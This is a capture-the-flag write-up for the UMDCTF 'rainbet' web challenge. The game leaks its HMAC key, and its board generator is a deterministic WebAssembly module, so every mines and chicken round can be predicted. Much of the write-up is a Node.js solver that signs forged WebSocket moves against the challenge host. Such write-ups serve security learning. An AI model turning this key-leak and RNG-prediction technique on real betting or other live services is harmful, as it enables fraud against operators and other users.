rainbet
umdctf
Task: a betting web game leaks both the current session identifier and the HMAC key used for websocket actions, while a bundled WebAssembly module deterministically generates the hidden board from that session state. Solution: rehost the wasm locally, predict every mines and chicken round from (session_id, round_idx), sign valid client views, and automate 25 perfect max wins.
$ ls tags/ techniques/
rainbet — UMDCTF
Description
rainbet sponsored by rainbet (for legal reasons this is not true). their rng backend was leaked (for legal reasons this is also not true)! can you get enough max wins?
English summary: the service exposes a browser game over HTTP and WebSocket. To get the flag, we need 25 consecutive max wins across two game modes, but the hidden mine and car positions are actually predictable from leaked session material and a leaked WebAssembly RNG backend.
Analysis
The challenge breaks because the client is trusted with too much information.
1. Session material is leaked directly
/api/sessioninfo returns both:
session_idsecret
That secret is the HMAC key used by the browser to authorize moves.
2. The browser shows exactly how actions are authenticated
static/app.js computes:
const view = canonView(); const sig = await hmacHex(state.secret, view); ws.send(JSON.stringify({ action, view, sig, ...extra }));
So the server accepts WebSocket actions such as reveal, cross, and cashout as long as we send the correct canonical view string and HMAC.
This is not enough by itself, because the hidden board still lives on the server. The next leak removes that last uncertainty.
3. The hidden game state is deterministic and reproducible
rainbet.py loads rainbet_gen.wasm and exposes generate_game(session_id, round_idx). The parser reveals the raw format:
def generate_game(session_id: str, round_idx: int) -> dict: raw = _call_generate(session_id, round_idx) gtype = raw[0] if gtype == 0: grid_size = raw[1] num_mines = raw[2] mines = list(raw[3:3 + num_mines]) return { "type": "mines", "grid_size": grid_size, "num_mines": num_mines, "mines": mines, } if gtype == 1: risk_idx = raw[1] num_cars = raw[2] cars = list(raw[3:3 + num_cars]) return { "type": "chicken", "risk_idx": risk_idx, "cars": cars, }
So the wasm does not just generate public metadata. It gives the full hidden mine positions for mines and the hidden car positions for chicken.
4. The max-win condition is explicit in the Python helper logic
The same file defines when a round counts as a max win:
- mines: reveal every safe tile
- chicken: cash out exactly at
max_safe_steps(cars)
Relevant helper:
def max_safe_steps(cars): car_set = set(cars) for i in range(24): if i in car_set: return i return 24
That means:
- if the first blocked lane is at index
k, we must cross exactlyktimes and then cash out - if
k == 0, we should cash out immediately - if there is no car at all, we can cross all
24lanes and then cash out
5. Round progression makes prediction practical
From the notes and solver behavior:
- during a winning streak, the same
session_idstays valid round_idxincrements with the streak- if we lose, the server rotates both
session_idandsecret
Therefore, once we fetch the current session and keep winning, every future round is locally predictable as:
generate_game(session_id, streak)
Root Cause
The bug is a combination of three design failures:
- the server leaks the HMAC key to the client,
- the client-side code discloses the exact signed message format,
- the supposedly hidden RNG is deterministic and shipped to players as a reusable wasm module.
Together, this turns a gambling challenge into full oracle access: we can predict the hidden state and still produce valid authenticated actions.
Solution
Step 1. Fetch the current session data
Request /api/sessioninfo and save:
- the cookie,
session_id,secret.
Step 2. Rehost the wasm locally
Instantiate rainbet_gen.wasm in Node.js and call its exported generate function with:
(session_id, round_idx)
Then parse the result exactly like rainbet.py.
Step 3. Follow the public game state over WebSocket
After connecting to /ws, the server sends the current public game object. We verify the public fields match our local prediction:
- mines:
grid_size,num_mines - chicken:
steps,risk
This confirms our local generator is synchronized with the server.
Step 4. Play each round perfectly
For mines:
- build a set of predicted mine tiles,
- reveal every tile not in that set,
- stop when the server auto-awards the win.
For chicken:
- compute
max_safe_steps(cars), - send
crossuntilcrossed == max_safe_steps, - send
cashout, - if
max_safe_steps == 0, cash out immediately.
Step 5. Sign every action correctly
Before each move, compute:
sig = HMAC_SHA256(secret, canonView())
and send JSON like:
{"action":"reveal","view":"mines:3:5:3:0,1,2","sig":"...","tile":7}
Step 6. Repeat for 25 rounds
Because we never lose, the same session_id remains usable and round_idx keeps advancing with the streak. The local predictor stays aligned for the entire run, and the final successful result message includes the flag.
Exploit Script
The actual solver used was tasks/umdctf/rainbet/solve.js. The core logic is:
#!/usr/bin/env node const fs = require("fs"); const crypto = require("crypto"); const BASE = "https://rainbet.challs.umdctf.io"; const WASM = fs.readFileSync("rainbet_gen.wasm"); const RISK_NAMES = ["Easy", "Medium", "Hard", "Daredevil"]; function hmacHex(secretHex, msg) { return crypto.createHmac("sha256", Buffer.from(secretHex, "hex")).update(msg).digest("hex"); } function maxSafeSteps(cars) { const carSet = new Set(cars); for (let i = 0; i < 24; i++) if (carSet.has(i)) return i; return 24; } function parseGame(raw) { const gtype = raw[0]; if (gtype === 0) { const gridSize = raw[1], numMines = raw[2]; return { type: "mines", grid_size: gridSize, num_mines: numMines, mines: Array.from(raw.slice(3, 3 + numMines)), }; } if (gtype === 1) { const riskIdx = raw[1], numCars = raw[2]; return { type: "chicken", steps: 24, risk_idx: riskIdx, risk: RISK_NAMES[riskIdx], cars: Array.from(raw.slice(3, 3 + numCars)), }; } throw new Error("unknown game type"); } async function makeGenerator() { const { instance } = await WebAssembly.instantiate(WASM, {}); const { memory, sid_buf_ptr, out_buf_ptr, generate } = instance.exports; return { generateGame(sessionId, roundIdx) { const sidBytes = Buffer.from(sessionId, "ascii"); new Uint8Array(memory.buffer, sid_buf_ptr(), sidBytes.length).set(sidBytes); const n = generate(sidBytes.length, roundIdx); return parseGame(Buffer.from(new Uint8Array(memory.buffer, out_buf_ptr(), n))); }, }; } function canonView(game, streak, revealed, crossed) { if (game.type === "mines") { return `mines:${streak}:${game.grid_size}:${game.num_mines}:${[...revealed].sort((a, b) => a - b).join(",")}`; } return `chicken:${streak}:${game.steps}:${crossed}`; } function nextAction(game, revealed, crossed) { if (game.type === "mines") { const mines = new Set(game.mines); for (let i = 0; i < game.grid_size * game.grid_size; i++) { if (!mines.has(i) && !revealed.includes(i)) return { action: "reveal", tile: i }; } throw new Error("no safe tile left"); } const safe = maxSafeSteps(game.cars); if (crossed < safe) return { action: "cross" }; if (crossed === safe) return { action: "cashout" }; throw new Error("desynced chicken state"); }
Pseudocode for the WebSocket loop:
fetch /api/sessioninfo open /ws with the session cookie for each round: local_game = wasm.generate_game(session_id, round_idx) while round not finished: view = canonView(current_state) sig = HMAC(secret, view) action = perfect_action(local_game, current_state) send(action, view, sig) if win: round_idx += 1 else: session_id, secret rotate and the run is dead
Why the exploit works
The HMAC only proves that the client knows the leaked secret. It does not protect the hidden state once that state is derivable from a deterministic wasm backend. Since the server also keeps the same session_id across a winning streak, our local simulation remains synchronized for all 25 rounds.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]egg— b01lersc
- [crypto][Pro]Gambler's Fallacy— uoftctf2026
- [web][free]umdmarket— umdctf
- [pwn][free]velvet-table— umdctf
- [web][free]funikuler-vragam-kubani— alfactf